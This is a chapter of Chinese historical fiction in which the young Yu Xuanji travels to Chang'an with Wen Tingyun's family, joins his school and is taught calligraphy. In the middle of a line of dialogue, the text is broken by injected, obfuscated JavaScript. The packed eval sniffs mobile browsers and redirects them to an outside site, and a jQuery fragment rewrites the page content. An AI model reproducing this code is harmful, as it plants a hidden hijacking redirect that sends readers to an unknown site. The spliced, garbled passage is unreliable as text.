重阳刚过，秋雨断断续续地下起来。到过了潼关，雨势渐密，打在车篷上发出沉闷的声响，马蹄踏过泥泞的道路，溅起细碎的水花。
鱼玄机坐在温府的马车里，车轮碾过湿滑路面时发出的低沉摩擦声，一直在她耳边回荡。她的手往袖中缩了缩。温夫人递给她一个薄毯，柔声说，冷了，盖上吧。
她点点头，轻声说了句谢。用余光偷偷看了看坐在对面的温夫人。那是一位举止娴雅的中年女子，鬓角插着一支素簪，簪上缀着一粒南珠，在炉火映照下泛着温润的光泽。她的手里捧着一只描金的手炉，炉盖透出的热气轻轻氤氲在她雪白的指节间。
温庭筠则是骑马在她们马车的一侧。
“快到驿站了，忍一忍，到了喝一壶热姜汤，可以暖暖身子。”温庭筠笑着对温夫人道。
温夫人颔首，目光柔和：“你自己也别淋着，你的斗笠呢？”
温庭筠摇摇头说，不用，将自己的蓑衣往身上拢了拢。
玄机低下头，装作在看自己衣襟上的绣纹。心里却莫名有些酸涩——她从未见过这样的夫妻，温润、亲近。像是寒夜里的一炉炭火，抵御着外面的风雨。
傍晚，车队在一家驿站停下。院子里的驿丞忙着迎接，领人进屋生火。空气里混着炭火的气息和湿漉漉的秋意。
温夫人取下外氅时，肩头沾了几片湿漉的落叶。温庭筠伸手替她拂去，又顺势帮她解了披风的结，动作自然流畅。
玄机看得发怔，直到温夫人唤她：“玄机，快过来暖暖手。”
她这才走过去，在温夫人身边坐下。一位头发梳得一丝不苟、穿着藏青缎面比甲的老嬷嬷端了两碗姜汤进来，一碗给温夫人，一碗给玄机。轻声道：“夫人，暖暖身子。”
温夫人接过，对玄机笑道：“这是李嬷嬷，自小便跟着我的老人了，如今我身边的事多是她在打理。”
李嬷嬷向玄机微微颔首，目光慈和却透着精明：“鱼姑娘若有甚么短缺的，或是下人们有不周到的地方，只管来找老奴便是。”她语气温和，却自有一股不容置疑的威严，显然在府中极有体面。
炉火噼啪作响，热气顺着袖口钻进来，冻僵的手指渐渐恢复知觉。
夜里，驿站的房间简陋，却干净整洁。温夫人特意吩咐李嬷嬷将她的被褥多加了一床新棉，被窝里带着晒过的阳光气味。
玄机蜷在被中，听着外头淅沥的雨声，心底生出一种久违的安稳。
天启四年，鱼玄机随温氏夫妻入京。
长安的城门高大厚重，马车缓缓穿过门洞，眼前豁然开朗——坊市林立，屋宇连绵。街道两旁的槐树叶片渐黄，在细雨中摇曳，偶尔有麻雀扑棱着翅膀飞起，在雨幕中划出淡淡的痕迹。
卖炭的车上堆着黑亮的炭块，热气蒸腾；糖人摊前的琥珀色糖葫芦在雨中闪着光；裁缝铺门口挂着一排排新缝的秋衫，色彩素雅。行人脚踩在湿漉的石板上，溅起点点水花，吆喝声、笑语声、驴铃声交织在一起，织成一幅繁忙的秋日画卷。
温夫人对她说，“你看，这便是长安的秋天。”
温府坐落在城南宣平坊，占地不大，朱漆大门沉稳厚重。门匾上的“温”字金漆虽有些褪色，却依旧端凝大方。府中下人不多，都迎上来，恭恭敬敬地请温夫人、温庭筠下车。
“先送玄机去东院。”温夫人吩咐，指了一下身边的丫鬟，“石榴，以后你负责照顾玄机。炉火要添旺些，晚间再送温补的汤过去。”
石榴应声出列，是个约莫十六岁的丫头。她生得一张讨喜的圆脸，皮肤白皙，像初熟的桃子。一双眼睛大而明亮，身着干净的藕荷色比甲，看着十分伶俐清爽。石榴对着玄机利落地行了个万福礼，声音清脆：“奴婢石榴，见过姑娘。以后姑娘有什么需要的，尽管吩咐奴婢就是。”
玄机见状，也微微屈膝还了半礼，轻声道：“有劳石榴姐姐了。”
沿着青砖回廊行去，到了东院，屋里早已生着地龙，暖意扑面。石榴笑着递上热毛巾，又有丫鬟送来一只木匣：“这是老爷吩咐的，说姑娘初到长安，不得受寒。”
玄机打开匣盖——是一件锦缎披风，绣着精致的秋菊纹样，触感柔软。
夜深，雨还在落。玄机坐在榻上，指尖摩挲着披风的纹样，心底忽然涌起一种复杂的情绪。
翌日，温府后院。石板地洒落着被雨水打落的银杏叶，铺就一层金黄，踩上去发出一种极其细微、近乎柔软的“沙沙”声。
鱼玄机跟着温夫人走进廊下时，隐约听到院中传来朗朗的读书声。她换过干净的衣裳，束了发，按礼向温庭筠行礼。温庭筠微微颔首，将她引到东厢一间明亮的讲堂内。
“这是我新收的弟子，鱼玄机，今年十四。”温庭筠的声音不高，却带着一股不容置疑的清朗，“以后与诸位同窗共习诗文，切磋学艺。”
坐在堂中已有四人，皆是温庭筠的弟子：
最年长的陆景修，十七八岁的样子，眉目清俊，言行温润，见她来，微笑颔首。"久闻师妹诗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445469|185083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才，今日得见，幸甚。"
左手边坐着一位十六七岁的少年，他身着靛青直裰，面容与温庭筠有七分相似，却多了几分少年锐气。"这是犬子温珏。"温珏对玄机点点头。
右侧的杜慕白一袭月白长衫，生得唇薄目锐，似笑非笑间透着几分锋芒；叫了声。“师妹”
最后一位是年纪与玄机相仿的少女温湘儿，是温庭筠的女儿，今年13岁，正是活泼爱动的年纪。穿着杏黄对襟衫，眼神灵动，打量玄机时并不掩饰好奇。
温庭筠示意她在温湘儿旁边坐下。温湘儿蹦跳着拉住玄机的手，"我可算盼到个姐姐作伴了。”玄机微微一笑：“湘儿妹妹好。”
入学后的日子比她想象中忙碌许多。
晨课诵读经史，午后习字作诗，晚间温庭筠或讲诗人轶事，或点评弟子作业。偶尔，温夫人会在一旁听讲，为弟子们准备热茶与点心。
翌日晨课，众弟子将完成的课业交给温庭筠，温庭筠让玄机单独留下。
玄机心下忐忑。
温庭筠却没有看玄机，指着玄机的字，眉心微蹙：“笔画浮躁，力气不匀。幼时没有好好练字吧？”
玄机汗颜，垂头：“……是。”
温庭筠不再多言，从书架上取下一卷帖本，摊开案几：“这是王右军的《圣教序》，先临三遍。”
玄机依言提笔，可写到第二行时，字势已显得飘散。
温庭筠在旁静观片刻，让玄机退开。自己俯身示范：“执笔要正。拇指按，食指扣，中指承，腕悬而不倚。”
“看——起笔要藏锋，收笔要敛势。不可一味急进。”他笔尖轻点，示意落笔的位置。
玄机低声应道：“是。”
温庭筠退开一步，语气平和：“再写。”
玄机咬唇提笔，笔锋在纸上略一迟疑，终究缓缓写下。虽仍生涩，却比方才稳了几分。
“嗯。”温庭筠微一点头，“勤练，三月后方见成效。”
温夫人正好送茶进来，看见这一幕，含笑打趣：“夫君教她，比教湘儿还耐心。”
温庭筠看玄机神色有些慌乱，轻轻一笑：“玄机有诗才，若字写得丑，总要叫人说是‘文不配字’。”
玄机抬眸，眸光一闪，又立刻垂下：“学生谨记。”
午后，书堂寂静。案边还放着王帖，可玄机的眼睛却不自觉落在另一卷纸上——那是温庭筠批改弟子作业的字迹，清峻端方。
她迟疑片刻，偷偷藏了一张。